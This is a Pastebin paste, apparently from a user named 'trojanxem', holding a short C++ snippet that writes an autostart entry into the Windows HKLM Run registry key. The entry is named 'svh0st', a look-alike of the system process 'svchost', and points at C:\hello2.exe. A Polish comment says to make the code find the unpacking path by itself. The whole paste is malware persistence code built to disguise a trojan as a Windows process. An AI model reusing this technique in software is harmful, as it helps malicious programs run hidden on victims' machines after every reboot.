trojanxem

Untitled

Dec 28th, 2012
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.43 KB | None | 0 0
  1. HKEY hKey;
  2.     unsigned char PathToFile[50]="C:\\hello2.exe";        // Zmien tutaj zeby sam pobieral adres rozpakowania
  3.     // The directory of registry to be opened.
  4.     RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,
  5.     KEY_SET_VALUE,&hKey );
  6.     // Set the Value which is the directory of your exe file.
  7.     RegSetValueEx(hKey, "svh0st",0,REG_SZ,PathToFile,sizeof(PathToFile));
  8.     //Close key.
  9.     RegCloseKey(hKey);
Advertisement
Add Comment
Please, Sign In to add comment